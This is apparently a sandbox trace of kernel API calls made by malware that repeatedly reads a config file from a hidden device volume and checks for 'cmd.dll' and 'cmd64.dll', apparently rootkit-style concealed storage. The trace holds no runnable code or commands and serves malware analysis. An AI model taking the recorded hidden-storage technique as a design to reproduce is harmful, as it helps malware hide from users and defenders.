[0121.160] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.160] KeEnterCriticalRegion () [0121.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.161] KeLeaveCriticalRegion () [0121.161] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.161] KeEnterCriticalRegion () [0121.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.161] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.161] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.161] KeLeaveCriticalRegion () [0121.161] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.161] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.161] KeEnterCriticalRegion () [0121.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.161] ExFreePoolWithTag (P=0xfffffa8003bc33b0, Tag=0x0) [0121.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.161] KeLeaveCriticalRegion () [0121.161] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.161] ReleaseMutex (hMutex=0xf0) returned 1 [0121.161] Sleep (dwMilliseconds=0x124f80) [0121.175] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.175] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.175] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.175] KeEnterCriticalRegion () [0121.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.175] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.175] IdePortDispatch () returned 0x103 [0121.175] KeWaitForMutexObject () returned 0x0 [0121.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.175] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.175] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.175] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.175] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.175] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe190 [0121.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.175] KeLeaveCriticalRegion () [0121.175] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.175] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.175] KeEnterCriticalRegion () [0121.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.175] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.175] KeLeaveCriticalRegion () [0121.175] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.175] KeEnterCriticalRegion () [0121.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.175] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.176] IdePortDispatch () returned 0x103 [0121.176] KeWaitForMutexObject () returned 0x0 [0121.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.176] KeLeaveCriticalRegion () [0121.176] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.176] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.176] KeEnterCriticalRegion () [0121.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ce000 [0121.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.176] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.176] IdePortDispatch () returned 0x103 [0121.176] KeWaitForMutexObject () returned 0x0 [0121.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.176] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.176] IdePortDispatch () returned 0x103 [0121.176] KeWaitForMutexObject () returned 0x0 [0121.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] KeLeaveCriticalRegion () [0121.177] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.177] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.177] KeEnterCriticalRegion () [0121.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] KeLeaveCriticalRegion () [0121.177] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.177] KeEnterCriticalRegion () [0121.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.177] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3900, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] KeLeaveCriticalRegion () [0121.177] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.177] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.177] KeEnterCriticalRegion () [0121.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] ExFreePoolWithTag (P=0xfffffa8003bbe190, Tag=0x0) [0121.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.177] KeLeaveCriticalRegion () [0121.177] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.177] ReleaseMutex (hMutex=0xf0) returned 1 [0121.178] Sleep (dwMilliseconds=0x124f80) [0121.192] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.192] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.192] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.193] KeEnterCriticalRegion () [0121.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.193] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.193] IdePortDispatch () returned 0x103 [0121.193] KeWaitForMutexObject () returned 0x0 [0121.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.193] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.193] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.193] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.193] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.193] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3750 [0121.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.193] KeLeaveCriticalRegion () [0121.193] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.193] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.193] KeEnterCriticalRegion () [0121.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.193] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.193] KeLeaveCriticalRegion () [0121.193] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.193] KeEnterCriticalRegion () [0121.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.193] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.193] IdePortDispatch () returned 0x103 [0121.193] KeWaitForMutexObject () returned 0x0 [0121.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.194] KeLeaveCriticalRegion () [0121.194] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.194] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.194] KeEnterCriticalRegion () [0121.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d3000 [0121.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.194] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.194] IdePortDispatch () returned 0x103 [0121.194] KeWaitForMutexObject () returned 0x0 [0121.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.194] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.194] IdePortDispatch () returned 0x103 [0121.194] KeWaitForMutexObject () returned 0x0 [0121.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.194] KeLeaveCriticalRegion () [0121.194] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.195] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.195] KeEnterCriticalRegion () [0121.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] KeLeaveCriticalRegion () [0121.195] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.195] KeEnterCriticalRegion () [0121.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.195] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] KeLeaveCriticalRegion () [0121.195] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.195] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.195] KeEnterCriticalRegion () [0121.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] ExFreePoolWithTag (P=0xfffffa8003bc3750, Tag=0x0) [0121.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] KeLeaveCriticalRegion () [0121.195] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.195] ReleaseMutex (hMutex=0xf0) returned 1 [0121.195] Sleep (dwMilliseconds=0x124f80) [0121.210] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.210] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.210] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.210] KeEnterCriticalRegion () [0121.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.210] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.210] IdePortDispatch () returned 0x103 [0121.210] KeWaitForMutexObject () returned 0x0 [0121.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.210] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.210] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.210] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.210] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3b60 [0121.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.210] KeLeaveCriticalRegion () [0121.210] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.210] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.210] KeEnterCriticalRegion () [0121.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.210] KeLeaveCriticalRegion () [0121.210] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.210] KeEnterCriticalRegion () [0121.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.210] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.210] IdePortDispatch () returned 0x103 [0121.211] KeWaitForMutexObject () returned 0x0 [0121.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.211] KeLeaveCriticalRegion () [0121.211] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.211] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.211] KeEnterCriticalRegion () [0121.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d8000 [0121.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.211] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.211] IdePortDispatch () returned 0x103 [0121.211] KeWaitForMutexObject () returned 0x0 [0121.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.211] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.211] IdePortDispatch () returned 0x103 [0121.211] KeWaitForMutexObject () returned 0x0 [0121.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] KeLeaveCriticalRegion () [0121.212] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.212] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.212] KeEnterCriticalRegion () [0121.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] KeLeaveCriticalRegion () [0121.212] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.212] KeEnterCriticalRegion () [0121.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.212] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] KeLeaveCriticalRegion () [0121.212] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.212] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.212] KeEnterCriticalRegion () [0121.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] ExFreePoolWithTag (P=0xfffffa8003bc3b60, Tag=0x0) [0121.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.212] KeLeaveCriticalRegion () [0121.212] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.212] ReleaseMutex (hMutex=0xf0) returned 1 [0121.212] Sleep (dwMilliseconds=0x124f80) [0121.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.227] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.227] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.227] KeEnterCriticalRegion () [0121.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 